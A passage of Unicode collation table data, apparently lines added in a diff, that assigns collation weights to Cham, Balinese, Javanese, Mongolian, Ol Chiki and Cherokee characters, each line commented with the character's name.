+AA0B ; [.30CC.0020.0002] # CHAM LETTER NGA +AA0C ; [.30CD.0020.0002] # CHAM LETTER CHA +AA0D ; [.30CE.0020.0002] # CHAM LETTER CHHA +AA0E ; [.30CF.0020.0002] # CHAM LETTER JA +AA0F ; [.30D0.0020.0002] # CHAM LETTER JHA +AA10 ; [.30D1.0020.0002] # CHAM LETTER NHUE +AA11 ; [.30D2.0020.0002] # CHAM LETTER NHA +AA12 ; [.30D3.0020.0002] # CHAM LETTER NHJA +AA13 ; [.30D4.0020.0002] # CHAM LETTER TA +AA14 ; [.30D5.0020.0002] # CHAM LETTER THA +AA15 ; [.30D6.0020.0002] # CHAM LETTER DA +AA16 ; [.30D7.0020.0002] # CHAM LETTER DHA +AA17 ; [.30D8.0020.0002] # CHAM LETTER NUE +AA18 ; [.30D9.0020.0002] # CHAM LETTER NA +AA19 ; [.30DA.0020.0002] # CHAM LETTER DDA +AA1A ; [.30DB.0020.0002] # CHAM LETTER PA +AA1B ; [.30DC.0020.0002] # CHAM LETTER PPA +AA1C ; [.30DD.0020.0002] # CHAM LETTER PHA +AA1D ; [.30DE.0020.0002] # CHAM LETTER BA +AA1E ; [.30DF.0020.0002] # CHAM LETTER BHA +AA1F ; [.30E0.0020.0002] # CHAM LETTER MUE +AA20 ; [.30E1.0020.0002] # CHAM LETTER MA +AA21 ; [.30E2.0020.0002] # CHAM LETTER BBA +AA22 ; [.30E3.0020.0002] # CHAM LETTER YA +AA23 ; [.30E4.0020.0002] # CHAM LETTER RA +AA24 ; [.30E5.0020.0002] # CHAM LETTER LA +AA25 ; [.30E6.0020.0002] # CHAM LETTER VA +AA26 ; [.30E7.0020.0002] # CHAM LETTER SSA +AA27 ; [.30E8.0020.0002] # CHAM LETTER SA +AA28 ; [.30E9.0020.0002] # CHAM LETTER HA +AA33 ; [.30EA.0020.0002] # CHAM CONSONANT SIGN YA +AA34 ; [.30EB.0020.0002] # CHAM CONSONANT SIGN RA +AA35 ; [.30EC.0020.0002] # CHAM CONSONANT SIGN LA +AA36 ; [.30ED.0020.0002] # CHAM CONSONANT SIGN WA +AA29 ; [.30EE.0020.0002] # CHAM VOWEL SIGN AA +AA2A ; [.30EF.0020.0002] # CHAM VOWEL SIGN I +AA2B ; [.30F0.0020.0002] # CHAM VOWEL SIGN II +AA2C ; [.30F1.0020.0002] # CHAM VOWEL SIGN EI +AA2D ; [.30F2.0020.0002] # CHAM VOWEL SIGN U +AA2E ; [.30F3.0020.0002] # CHAM VOWEL SIGN OE +AA2F ; [.30F4.0020.0002] # CHAM VOWEL SIGN O +AA30 ; [.30F5.0020.0002] # CHAM VOWEL SIGN AI +AA31 ; [.30F6.0020.0002] # CHAM VOWEL SIGN AU +AA32 ; [.30F7.0020.0002] # CHAM VOWEL SIGN UE +AA40 ; [.30F8.0020.0002] # CHAM LETTER FINAL K +AA41 ; [.30F9.0020.0002] # CHAM LETTER FINAL G +AA42 ; [.30FA.0020.0002] # CHAM LETTER FINAL NG +AA43 ; [.30FB.0020.0002] # CHAM CONSONANT SIGN FINAL NG +AA44 ; [.30FC.0020.0002] # CHAM LETTER FINAL CH +AA45 ; [.30FD.0020.0002] # CHAM LETTER FINAL T +AA46 ; [.30FE.0020.0002] # CHAM LETTER FINAL N +AA47 ; [.30FF.0020.0002] # CHAM LETTER FINAL P +AA48 ; [.3100.0020.0002] # CHAM LETTER FINAL Y +AA49 ; [.3101.0020.0002] # CHAM LETTER FINAL R +AA4A ; [.3102.0020.0002] # CHAM LETTER FINAL L +AA4B ; [.3103.0020.0002] # CHAM LETTER FINAL SS +AA4C ; [.3104.0020.0002] # CHAM CONSONANT SIGN FINAL M +AA4D ; [.3105.0020.0002] # CHAM CONSONANT SIGN FINAL H +1B05 ; [.3106.0020.0002] # BALINESE LETTER AKARA +1B06 ; [.3107.0020.0002] # BALINESE LETTER AKARA TEDUNG +1B05 1B35 ; [.3107.0020.0002] # BALINESE LETTER AKARA TEDUNG +1B07 ; [.3108.0020.0002] # BALINESE LETTER IKARA +1B08 ; [.3109.0020.0002] # BALINESE LETTER IKARA TEDUNG +1B07 1B35 ; [.3109.0020.0002] # BALINESE LETTER IKARA TEDUNG +1B09 ; [.310A.0020.0002] # BALINESE LETTER UKARA +1B0A ; [.310B.0020.0002] # BALINESE LETTER UKARA TEDUNG +1B09 1B35 ; [.310B.0020.0002] # BALINESE LETTER UKARA TEDUNG +1B0B ; [.310C.0020.0002] # BALINESE LETTER RA REPA +1B0C ; [.310D.0020.0002] # BALINESE LETTER RA REPA TEDUNG +1B0B 1B35 ; [.310D.0020.0002] # BALINESE LETTER RA REPA TEDUNG +1B0D ; [.310E.0020.0002] # BALINESE LETTER LA LENGA +1B0E ; [.310F.0020.0002] # BALINESE LETTER LA LENGA TEDUNG +1B0D 1B35 ; [.310F.0020.0002] # BALINESE LETTER LA LENGA TEDUNG +1B0F ; [.3110.0020.0002] # BALINESE LETTER EKARA +1B10 ; [.3111.0020.0002] # BALINESE LETTER AIKARA +1B11 ; [.3112.0020.0002] # BALINESE LETTER OKARA +1B12 ; [.3113.0020.0002] # BALINESE LETTER OKARA TEDUNG +1B11 1B35 ; [.3113.0020.0002] # BALINESE LETTER OKARA TEDUNG +1B13 ; [.3114.0020.0002] # BALINESE LETTER KA +1B45 ; [.3115.0020.0002] # BALINESE LETTER KAF SASAK +1B46 ; [.3116.0020.0002] # BALINESE LETTER KHOT SASAK +1B14 ; [.3117.0020.0002] # BALINESE LETTER KA MAHAPRANA +1B15 ; [.3118.0020.0002] # BALINESE LETTER GA +1B16 ; [.3119.0020.0002] # BALINESE LETTER GA GORA +1B17 ; [.311A.0020.0002] # BALINESE LETTER NGA +1B18 ; [.311B.0020.0002] # BALINESE LETTER CA +1B19 ; [.311C.0020.0002] # BALINESE LETTER CA LACA +1B1A ; [.311D.0020.0002] # BALINESE LETTER JA +1B1B ; [.311E.0020.0002] # BALINESE LETTER JA JERA +1B1C ; [.311F.0020.0002] # BALINESE LETTER NYA +1B1D ; [.3120.0020.0002] # BALINESE LETTER TA LATIK +1B1E ; [.3121.0020.0002] # BALINESE LETTER TA MURDA MAHAPRANA +1B1F ; [.3122.0020.0002] # BALINESE LETTER DA MURDA ALPAPRANA +1B20 ; [.3123.0020.0002] # BALINESE LETTER DA MURDA MAHAPRANA +1B21 ; [.3124.0020.0002] # BALINESE LETTER NA RAMBAT +1B22 ; [.3125.0020.0002] # BALINESE LETTER TA +1B47 ; [.3126.0020.0002] # BALINESE LETTER TZIR SASAK +1B23 ; [.3127.0020.0002] # BALINESE LETTER TA TAWA +1B24 ; [.3128.0020.0002] # BALINESE LETTER DA +1B25 ; [.3129.0020.0002] # BALINESE LETTER DA MADU +1B26 ; [.312A.0020.0002] # BALINESE LETTER NA +1B27 ; [.312B.0020.0002] # BALINESE LETTER PA +1B48 ; [.312C.0020.0002] # BALINESE LETTER EF SASAK +1B28 ; [.312D.0020.0002] # BALINESE LETTER PA KAPAL +1B29 ; [.312E.0020.0002] # BALINESE LETTER BA +1B2A ; [.312F.0020.0002] # BALINESE LETTER BA KEMBANG +1B2B ; [.3130.0020.0002] # BALINESE LETTER MA +1B2C ; [.3131.0020.0002] # BALINESE LETTER YA +1B2D ; [.3132.0020.0002] # BALINESE LETTER RA +1B2E ; [.3133.0020.0002] # BALINESE LETTER LA +1B2F ; [.3134.0020.0002] # BALINESE LETTER WA +1B49 ; [.3135.0020.0002] # BALINESE LETTER VE SASAK +1B30 ; [.3136.0020.0002] # BALINESE LETTER SA SAGA +1B31 ; [.3137.0020.0002] # BALINESE LETTER SA SAPA +1B32 ; [.3138.0020.0002] # BALINESE LETTER SA +1B4A ; [.3139.0020.0002] # BALINESE LETTER ZAL SASAK +1B4B ; [.313A.0020.0002] # BALINESE LETTER ASYURA SASAK +1B33 ; [.313B.0020.0002] # BALINESE LETTER HA +1B35 ; [.313C.0020.0002] # BALINESE VOWEL SIGN TEDUNG +1B36 ; [.313D.0020.0002] # BALINESE VOWEL SIGN ULU +1B37 ; [.313E.0020.0002] # BALINESE VOWEL SIGN ULU SARI +1B38 ; [.313F.0020.0002] # BALINESE VOWEL SIGN SUKU +1B39 ; [.3140.0020.0002] # BALINESE VOWEL SIGN SUKU ILUT +1B3A ; [.3141.0020.0002] # BALINESE VOWEL SIGN RA REPA +1B3B ; [.3142.0020.0002] # BALINESE VOWEL SIGN RA REPA TEDUNG +1B3A 1B35 ; [.3142.0020.0002] # BALINESE VOWEL SIGN RA REPA TEDUNG +1B3C ; [.3143.0020.0002] # BALINESE VOWEL SIGN LA LENGA +1B3D ; [.3144.0020.0002] # BALINESE VOWEL SIGN LA LENGA TEDUNG +1B3C 1B35 ; [.3144.0020.0002] # BALINESE VOWEL SIGN LA LENGA TEDUNG +1B3E ; [.3145.0020.0002] # BALINESE VOWEL SIGN TALING +1B3F ; [.3146.0020.0002] # BALINESE VOWEL SIGN TALING REPA +1B40 ; [.3147.0020.0002] # BALINESE VOWEL SIGN TALING TEDUNG +1B3E 1B35 ; [.3147.0020.0002] # BALINESE VOWEL SIGN TALING TEDUNG +1B41 ; [.3148.0020.0002] # BALINESE VOWEL SIGN TALING REPA TEDUNG +1B3F 1B35 ; [.3148.0020.0002] # BALINESE VOWEL SIGN TALING REPA TEDUNG +1B42 ; [.3149.0020.0002] # BALINESE VOWEL SIGN PEPET +1B43 ; [.314A.0020.0002] # BALINESE VOWEL SIGN PEPET TEDUNG +1B42 1B35 ; [.314A.0020.0002] # BALINESE VOWEL SIGN PEPET TEDUNG +1B44 ; [.314B.0020.0002] # BALINESE ADEG ADEG +A984 ; [.314C.0020.0002] # JAVANESE LETTER A +A985 ; [.314D.0020.0002] # JAVANESE LETTER I KAWI +A986 ; [.314E.0020.0002] # JAVANESE LETTER I +A987 ; [.314F.0020.0002] # JAVANESE LETTER II +A988 ; [.3150.0020.0002] # JAVANESE LETTER U +A989 ; [.3151.0020.0002] # JAVANESE LETTER PA CEREK +A98A ; [.3152.0020.0002] # JAVANESE LETTER NGA LELET +A98B ; [.3153.0020.0002] # JAVANESE LETTER NGA LELET RASWADI +A98C ; [.3154.0020.0002] # JAVANESE LETTER E +A98D ; [.3155.0020.0002] # JAVANESE LETTER AI +A98E ; [.3156.0020.0002] # JAVANESE LETTER O +A98F ; [.3157.0020.0002] # JAVANESE LETTER KA +A990 ; [.3158.0020.0002] # JAVANESE LETTER KA SASAK +A991 ; [.3159.0020.0002] # JAVANESE LETTER KA MURDA +A992 ; [.315A.0020.0002] # JAVANESE LETTER GA +A993 ; [.315B.0020.0002] # JAVANESE LETTER GA MURDA +A994 ; [.315C.0020.0002] # JAVANESE LETTER NGA +A995 ; [.315D.0020.0002] # JAVANESE LETTER CA +A996 ; [.315E.0020.0002] # JAVANESE LETTER CA MURDA +A997 ; [.315F.0020.0002] # JAVANESE LETTER JA +A998 ; [.3160.0020.0002] # JAVANESE LETTER NYA MURDA +A999 ; [.3161.0020.0002] # JAVANESE LETTER JA MAHAPRANA +A99A ; [.3162.0020.0002] # JAVANESE LETTER NYA +A99B ; [.3163.0020.0002] # JAVANESE LETTER TTA +A99C ; [.3164.0020.0002] # JAVANESE LETTER TTA MAHAPRANA +A99D ; [.3165.0020.0002] # JAVANESE LETTER DDA +A99E ; [.3166.0020.0002] # JAVANESE LETTER DDA MAHAPRANA +A99F ; [.3167.0020.0002] # JAVANESE LETTER NA MURDA +A9A0 ; [.3168.0020.0002] # JAVANESE LETTER TA +A9A1 ; [.3169.0020.0002] # JAVANESE LETTER TA MURDA +A9A2 ; [.316A.0020.0002] # JAVANESE LETTER DA +A9A3 ; [.316B.0020.0002] # JAVANESE LETTER DA MAHAPRANA +A9A4 ; [.316C.0020.0002] # JAVANESE LETTER NA +A9A5 ; [.316D.0020.0002] # JAVANESE LETTER PA +A9A6 ; [.316E.0020.0002] # JAVANESE LETTER PA MURDA +A9A7 ; [.316F.0020.0002] # JAVANESE LETTER BA +A9A8 ; [.3170.0020.0002] # JAVANESE LETTER BA MURDA +A9A9 ; [.3171.0020.0002] # JAVANESE LETTER MA +A9AA ; [.3172.0020.0002] # JAVANESE LETTER YA +A9BE ; [.3173.0020.0002] # JAVANESE CONSONANT SIGN PENGKAL +A9AB ; [.3174.0020.0002] # JAVANESE LETTER RA +A9AC ; [.3174.0020.0004] # JAVANESE LETTER RA AGUNG +A9BF ; [.3175.0020.0002] # JAVANESE CONSONANT SIGN CAKRA +A9AD ; [.3176.0020.0002] # JAVANESE LETTER LA +A9AE ; [.3177.0020.0002] # JAVANESE LETTER WA +A9AF ; [.3178.0020.0002] # JAVANESE LETTER SA MURDA +A9B0 ; [.3179.0020.0002] # JAVANESE LETTER SA MAHAPRANA +A9B1 ; [.317A.0020.0002] # JAVANESE LETTER SA +A9B2 ; [.317B.0020.0002] # JAVANESE LETTER HA +A9B4 ; [.317C.0020.0002] # JAVANESE VOWEL SIGN TARUNG +A9BC ; [.317D.0020.0002] # JAVANESE VOWEL SIGN PEPET +A9B6 ; [.317E.0020.0002] # JAVANESE VOWEL SIGN WULU +A9B7 ; [.317F.0020.0002] # JAVANESE VOWEL SIGN WULU MELIK +A9B8 ; [.3180.0020.0002] # JAVANESE VOWEL SIGN SUKU +A9B9 ; [.3181.0020.0002] # JAVANESE VOWEL SIGN SUKU MENDUT +A9BD ; [.3182.0020.0002] # JAVANESE CONSONANT SIGN KERET +A9BA ; [.3183.0020.0002] # JAVANESE VOWEL SIGN TALING +A9BB ; [.3184.0020.0002] # JAVANESE VOWEL SIGN DIRGA MURE +A9B5 ; [.3185.0020.0002] # JAVANESE VOWEL SIGN TOLONG +A9C0 ; [.3186.0020.0002] # JAVANESE PANGKON +1880 ; [.3187.0020.0002] # MONGOLIAN LETTER ALI GALI ANUSVARA ONE +1881 ; [.3188.0020.0002] # MONGOLIAN LETTER ALI GALI VISARGA ONE +1882 ; [.3189.0020.0002] # MONGOLIAN LETTER ALI GALI DAMARU +1883 ; [.318A.0020.0002] # MONGOLIAN LETTER ALI GALI UBADAMA +1884 ; [.318B.0020.0002] # MONGOLIAN LETTER ALI GALI INVERTED UBADAMA +1885 ; [.318C.0020.0002] # MONGOLIAN LETTER ALI GALI BALUDA +1886 ; [.318D.0020.0002] # MONGOLIAN LETTER ALI GALI THREE BALUDA +1843 ; [.318E.0020.0002] # MONGOLIAN LETTER TODO LONG VOWEL SIGN +1820 ; [.318F.0020.0002] # MONGOLIAN LETTER A +1887 ; [.3190.0020.0002] # MONGOLIAN LETTER ALI GALI A +1821 ; [.3191.0020.0002] # MONGOLIAN LETTER E +1844 ; [.3192.0020.0002] # MONGOLIAN LETTER TODO E +185D ; [.3193.0020.0002] # MONGOLIAN LETTER SIBE E +1822 ; [.3194.0020.0002] # MONGOLIAN LETTER I +1845 ; [.3195.0020.0002] # MONGOLIAN LETTER TODO I +185E ; [.3196.0020.0002] # MONGOLIAN LETTER SIBE I +1873 ; [.3197.0020.0002] # MONGOLIAN LETTER MANCHU I +1888 ; [.3198.0020.0002] # MONGOLIAN LETTER ALI GALI I +185F ; [.3199.0020.0002] # MONGOLIAN LETTER SIBE IY +1823 ; [.319A.0020.0002] # MONGOLIAN LETTER O +1846 ; [.319B.0020.0002] # MONGOLIAN LETTER TODO O +1824 ; [.319C.0020.0002] # MONGOLIAN LETTER U +1847 ; [.319D.0020.0002] # MONGOLIAN LETTER TODO U +1861 ; [.319E.0020.0002] # MONGOLIAN LETTER SIBE U +1825 ; [.319F.0020.0002] # MONGOLIAN LETTER OE +1848 ; [.31A0.0020.0002] # MONGOLIAN LETTER TODO OE +1826 ; [.31A1.0020.0002] # MONGOLIAN LETTER UE +1849 ; [.31A2.0020.0002] # MONGOLIAN LETTER TODO UE +1860 ; [.31A3.0020.0002] # MONGOLIAN LETTER SIBE UE +1827 ; [.31A4.0020.0002] # MONGOLIAN LETTER EE +1828 ; [.31A5.0020.0002] # MONGOLIAN LETTER NA +1829 ; [.31A6.0020.0002] # MONGOLIAN LETTER ANG +184A ; [.31A7.0020.0002] # MONGOLIAN LETTER TODO ANG +1862 ; [.31A8.0020.0002] # MONGOLIAN LETTER SIBE ANG +188A ; [.31A9.0020.0002] # MONGOLIAN LETTER ALI GALI NGA +189B ; [.31AA.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI NGA +182A ; [.31AB.0020.0002] # MONGOLIAN LETTER BA +184B ; [.31AC.0020.0002] # MONGOLIAN LETTER TODO BA +182B ; [.31AD.0020.0002] # MONGOLIAN LETTER PA +184C ; [.31AE.0020.0002] # MONGOLIAN LETTER TODO PA +1866 ; [.31AF.0020.0002] # MONGOLIAN LETTER SIBE PA +182C ; [.31B0.0020.0002] # MONGOLIAN LETTER QA +184D ; [.31B1.0020.0002] # MONGOLIAN LETTER TODO QA +182D ; [.31B2.0020.0002] # MONGOLIAN LETTER GA +184E ; [.31B3.0020.0002] # MONGOLIAN LETTER TODO GA +1864 ; [.31B4.0020.0002] # MONGOLIAN LETTER SIBE GA +189A ; [.31B5.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI GHA +1865 ; [.31B6.0020.0002] # MONGOLIAN LETTER SIBE HA +182E ; [.31B7.0020.0002] # MONGOLIAN LETTER MA +184F ; [.31B8.0020.0002] # MONGOLIAN LETTER TODO MA +182F ; [.31B9.0020.0002] # MONGOLIAN LETTER LA +1830 ; [.31BA.0020.0002] # MONGOLIAN LETTER SA +1831 ; [.31BB.0020.0002] # MONGOLIAN LETTER SHA +1867 ; [.31BC.0020.0002] # MONGOLIAN LETTER SIBE SHA +189C ; [.31BD.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI CA +189D ; [.31BE.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI JHA +18A2 ; [.31BF.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI SSA +18A4 ; [.31C0.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI ZHA +18A5 ; [.31C1.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI ZA +1832 ; [.31C2.0020.0002] # MONGOLIAN LETTER TA +1850 ; [.31C3.0020.0002] # MONGOLIAN LETTER TODO TA +1868 ; [.31C4.0020.0002] # MONGOLIAN LETTER SIBE TA +1833 ; [.31C5.0020.0002] # MONGOLIAN LETTER DA +1851 ; [.31C6.0020.0002] # MONGOLIAN LETTER TODO DA +1869 ; [.31C7.0020.0002] # MONGOLIAN LETTER SIBE DA +1834 ; [.31C8.0020.0002] # MONGOLIAN LETTER CHA +1852 ; [.31C9.0020.0002] # MONGOLIAN LETTER TODO CHA +1871 ; [.31CA.0020.0002] # MONGOLIAN LETTER SIBE CHA +185C ; [.31CB.0020.0002] # MONGOLIAN LETTER TODO DZA +188B ; [.31CC.0020.0002] # MONGOLIAN LETTER ALI GALI CA +1835 ; [.31CD.0020.0002] # MONGOLIAN LETTER JA +1853 ; [.31CE.0020.0002] # MONGOLIAN LETTER TODO JA +186A ; [.31CF.0020.0002] # MONGOLIAN LETTER SIBE JA +1877 ; [.31D0.0020.0002] # MONGOLIAN LETTER MANCHU ZHA +1836 ; [.31D1.0020.0002] # MONGOLIAN LETTER YA +1855 ; [.31D2.0020.0002] # MONGOLIAN LETTER TODO YA +1872 ; [.31D3.0020.0002] # MONGOLIAN LETTER SIBE ZHA +1837 ; [.31D4.0020.0002] # MONGOLIAN LETTER RA +1875 ; [.31D5.0020.0002] # MONGOLIAN LETTER MANCHU RA +1838 ; [.31D6.0020.0002] # MONGOLIAN LETTER WA +1856 ; [.31D7.0020.0002] # MONGOLIAN LETTER TODO WA +1839 ; [.31D8.0020.0002] # MONGOLIAN LETTER FA +186B ; [.31D9.0020.0002] # MONGOLIAN LETTER SIBE FA +1876 ; [.31DA.0020.0002] # MONGOLIAN LETTER MANCHU FA +183A ; [.31DB.0020.0002] # MONGOLIAN LETTER KA +1857 ; [.31DC.0020.0002] # MONGOLIAN LETTER TODO KA +1863 ; [.31DD.0020.0002] # MONGOLIAN LETTER SIBE KA +1874 ; [.31DE.0020.0002] # MONGOLIAN LETTER MANCHU KA +1889 ; [.31DF.0020.0002] # MONGOLIAN LETTER ALI GALI KA +183B ; [.31E0.0020.0002] # MONGOLIAN LETTER KHA +183C ; [.31E1.0020.0002] # MONGOLIAN LETTER TSA +1854 ; [.31E2.0020.0002] # MONGOLIAN LETTER TODO TSA +186E ; [.31E3.0020.0002] # MONGOLIAN LETTER SIBE TSA +183D ; [.31E4.0020.0002] # MONGOLIAN LETTER ZA +186F ; [.31E5.0020.0002] # MONGOLIAN LETTER SIBE ZA +1858 ; [.31E6.0020.0002] # MONGOLIAN LETTER TODO GAA +186C ; [.31E7.0020.0002] # MONGOLIAN LETTER SIBE GAA +183E ; [.31E8.0020.0002] # MONGOLIAN LETTER HAA +1859 ; [.31E9.0020.0002] # MONGOLIAN LETTER TODO HAA +186D ; [.31EA.0020.0002] # MONGOLIAN LETTER SIBE HAA +183F ; [.31EB.0020.0002] # MONGOLIAN LETTER ZRA +1840 ; [.31EC.0020.0002] # MONGOLIAN LETTER LHA +1841 ; [.31ED.0020.0002] # MONGOLIAN LETTER ZHI +1842 ; [.31EE.0020.0002] # MONGOLIAN LETTER CHI +185A ; [.31EF.0020.0002] # MONGOLIAN LETTER TODO JIA +185B ; [.31F0.0020.0002] # MONGOLIAN LETTER TODO NIA +1870 ; [.31F1.0020.0002] # MONGOLIAN LETTER SIBE RAA +188C ; [.31F2.0020.0002] # MONGOLIAN LETTER ALI GALI TTA +189E ; [.31F3.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI TTA +188D ; [.31F4.0020.0002] # MONGOLIAN LETTER ALI GALI TTHA +188E ; [.31F5.0020.0002] # MONGOLIAN LETTER ALI GALI DDA +189F ; [.31F6.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI DDHA +188F ; [.31F7.0020.0002] # MONGOLIAN LETTER ALI GALI NNA +1890 ; [.31F8.0020.0002] # MONGOLIAN LETTER ALI GALI TA +1898 ; [.31F9.0020.0002] # MONGOLIAN LETTER TODO ALI GALI TA +18A0 ; [.31FA.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI TA +1891 ; [.31FB.0020.0002] # MONGOLIAN LETTER ALI GALI DA +18A1 ; [.31FC.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI DHA +1892 ; [.31FD.0020.0002] # MONGOLIAN LETTER ALI GALI PA +1893 ; [.31FE.0020.0002] # MONGOLIAN LETTER ALI GALI PHA +18A8 ; [.31FF.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI BHA +1894 ; [.3200.0020.0002] # MONGOLIAN LETTER ALI GALI SSA +18A3 ; [.3201.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI CYA +1895 ; [.3202.0020.0002] # MONGOLIAN LETTER ALI GALI ZHA +1899 ; [.3203.0020.0002] # MONGOLIAN LETTER TODO ALI GALI ZHA +1896 ; [.3204.0020.0002] # MONGOLIAN LETTER ALI GALI ZA +1897 ; [.3205.0020.0002] # MONGOLIAN LETTER ALI GALI AH +18A6 ; [.3206.0020.0002] # MONGOLIAN LETTER ALI GALI HALF U +18A7 ; [.3207.0020.0002] # MONGOLIAN LETTER ALI GALI HALF YA +18AA ; [.3208.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI LHA +18A9 ; [.3209.0020.0002] # MONGOLIAN LETTER ALI GALI DAGALGA +1C5A ; [.320A.0020.0002] # OL CHIKI LETTER LA +1C5B ; [.320B.0020.0002] # OL CHIKI LETTER AT +1C5C ; [.320C.0020.0002] # OL CHIKI LETTER AG +1C5D ; [.320D.0020.0002] # OL CHIKI LETTER ANG +1C5E ; [.320E.0020.0002] # OL CHIKI LETTER AL +1C5F ; [.320F.0020.0002] # OL CHIKI LETTER LAA +1C60 ; [.3210.0020.0002] # OL CHIKI LETTER AAK +1C61 ; [.3211.0020.0002] # OL CHIKI LETTER AAJ +1C62 ; [.3212.0020.0002] # OL CHIKI LETTER AAM +1C63 ; [.3213.0020.0002] # OL CHIKI LETTER AAW +1C64 ; [.3214.0020.0002] # OL CHIKI LETTER LI +1C65 ; [.3215.0020.0002] # OL CHIKI LETTER IS +1C66 ; [.3216.0020.0002] # OL CHIKI LETTER IH +1C67 ; [.3217.0020.0002] # OL CHIKI LETTER INY +1C68 ; [.3218.0020.0002] # OL CHIKI LETTER IR +1C69 ; [.3219.0020.0002] # OL CHIKI LETTER LU +1C6A ; [.321A.0020.0002] # OL CHIKI LETTER UC +1C6B ; [.321B.0020.0002] # OL CHIKI LETTER UD +1C6C ; [.321C.0020.0002] # OL CHIKI LETTER UNN +1C6D ; [.321D.0020.0002] # OL CHIKI LETTER UY +1C6E ; [.321E.0020.0002] # OL CHIKI LETTER LE +1C6F ; [.321F.0020.0002] # OL CHIKI LETTER EP +1C70 ; [.3220.0020.0002] # OL CHIKI LETTER EDD +1C71 ; [.3221.0020.0002] # OL CHIKI LETTER EN +1C72 ; [.3222.0020.0002] # OL CHIKI LETTER ERR +1C73 ; [.3223.0020.0002] # OL CHIKI LETTER LO +1C74 ; [.3224.0020.0002] # OL CHIKI LETTER OTT +1C75 ; [.3225.0020.0002] # OL CHIKI LETTER OB +1C76 ; [.3226.0020.0002] # OL CHIKI LETTER OV +1C77 ; [.3227.0020.0002] # OL CHIKI LETTER OH +1C78 ; [.3228.0020.0002] # OL CHIKI MU TTUDDAG +1C79 ; [.3229.0020.0002] # OL CHIKI GAAHLAA TTUDDAAG +1C7A ; [.322A.0020.0002] # OL CHIKI MU-GAAHLAA TTUDDAAG +1C7B ; [.322B.0020.0002] # OL CHIKI RELAA +1C7C ; [.322C.0020.0002] # OL CHIKI PHAARKAA +1C7D ; [.322D.0020.0002] # OL CHIKI AHAD +AB70 ; [.322E.0020.0002] # CHEROKEE SMALL LETTER A +13A0 ; [.322E.0020.0008] # CHEROKEE LETTER A +AB71 ; [.322F.0020.0002] # CHEROKEE SMALL LETTER E +13A1 ; [.322F.0020.0008] # CHEROKEE LETTER E +AB72 ; [.3230.0020.0002] # CHEROKEE SMALL LETTER I +13A2 ; [.3230.0020.0008] # CHEROKEE LETTER I +AB73 ; [.3231.0020.0002] # CHEROKEE SMALL LETTER O +13A3 ; [.3231.0020.0008] # CHEROKEE LETTER O +AB74 ; [.3232.0020.0002] # CHEROKEE SMALL LETTER U +13A4 ; [.3232.0020.0008] # CHEROKEE LETTER U +AB75 ; [.3233.0020.0002] # CHEROKEE SMALL LETTER V +13A5 ; [.3233.0020.0008] # CHEROKEE LETTER V +AB76 ; [.3234.0020.0002] # CHEROKEE SMALL LETTER GA +13A6 ; [.3234.0020.0008] # CHEROKEE LETTER GA +AB77 ; [.3235.0020.0002] # CHEROKEE SMALL LETTER KA +13A7 ; [.3235.0020.0008] # CHEROKEE LETTER KA +AB78 ; [.3236.0020.0002] # CHEROKEE SMALL LETTER GE +13A8 ; [.3236.0020.0008] # CHEROKEE LETTER GE +AB79 ; [.3237.0020.0002] # CHEROKEE SMALL LETTER GI +13A9 ; [.3237.0020.0008] # CHEROKEE LETTER GI +AB7A ; [.3238.0020.0002] # CHEROKEE SMALL LETTER GO +13AA ; [.3238.0020.0008] # CHEROKEE LETTER GO +AB7B ; [.3239.0020.0002] # CHEROKEE SMALL LETTER GU +13AB ; [.3239.0020.0008] # CHEROKEE LETTER GU +AB7C ; [.323A.0020.0002] # CHEROKEE SMALL LETTER GV +13AC ; [.323A.0020.0008] # CHEROKEE LETTER GV +AB7D ; [.323B.0020.0002] # CHEROKEE SMALL LETTER HA +13AD ; [.323B.0020.0008] # CHEROKEE LETTER HA +AB7E ; [.323C.0020.0002] # CHEROKEE SMALL LETTER HE +13AE ; [.323C.0020.0008] # CHEROKEE LETTER HE +AB7F ; [.323D.0020.0002] # CHEROKEE SMALL LETTER HI +13AF ; [.323D.0020.0008] # CHEROKEE LETTER HI +AB80 ; [.323E.0020.0002] # CHEROKEE SMALL LETTER HO +13B0 ; [.323E.0020.0008] # CHEROKEE LETTER HO +AB81 ; [.323F.0020.0002] # CHEROKEE SMALL LETTER HU +13B1 ; [.323F.0020.0008] # CHEROKEE LETTER HU +AB82 ; [.3240.0020.0002] # CHEROKEE SMALL LETTER HV +13B2 ; [.3240.0020.0008] # CHEROKEE LETTER HV +AB83 ; [.3241.0020.0002] # CHEROKEE SMALL LETTER LA +13B3 ; [.3241.0020.0008] # CHEROKEE LETTER LA +AB84 ; [.3242.0020.0002] # CHEROKEE SMALL LETTER LE +13B4 ; [.3242.0020.0008] # CHEROKEE LETTER LE +AB85 ; [.3243.0020.0002] # CHEROKEE SMALL LETTER LI +13B5 ; [.3243.0020.0008] # CHEROKEE LETTER LI +AB86 ; [.3244.0020.0002] # CHEROKEE SMALL LETTER LO +13B6 ; [.3244.0020.0008] # CHEROKEE LETTER LO +AB87 ; [.3245.0020.0002] # CHEROKEE SMALL LETTER LU +13B7 ; [.3245.0020.0008] # CHEROKEE LETTER LU +AB88 ; [.3246.0020.0002] # CHEROKEE SMALL LETTER LV +13B8 ; [.3246.0020.0008] # CHEROKEE LETTER LV +AB89 ; [.3247.0020.0002] # CHEROKEE SMALL LETTER MA +13B9 ; [.3247.0020.0008] # CHEROKEE LETTER MA +AB8A ; [.3248.0020.0002] # CHEROKEE SMALL LETTER ME +13BA ; [.3248.0020.0008] # CHEROKEE LETTER ME +AB8B ; [.3249.0020.0002] # CHEROKEE SMALL LETTER MI +13BB ; [.3249.0020.0008] # CHEROKEE LETTER MI +AB8C ; [.324A.0020.0002] # CHEROKEE SMALL LETTER MO +13BC ; [.324A.0020.0008] # CHEROKEE LETTER MO +AB8D ; [.324B.0020.0002] # CHEROKEE SMALL LETTER MU +13BD ; [.324B.0020.0008] # CHEROKEE LETTER MU +AB8E ; 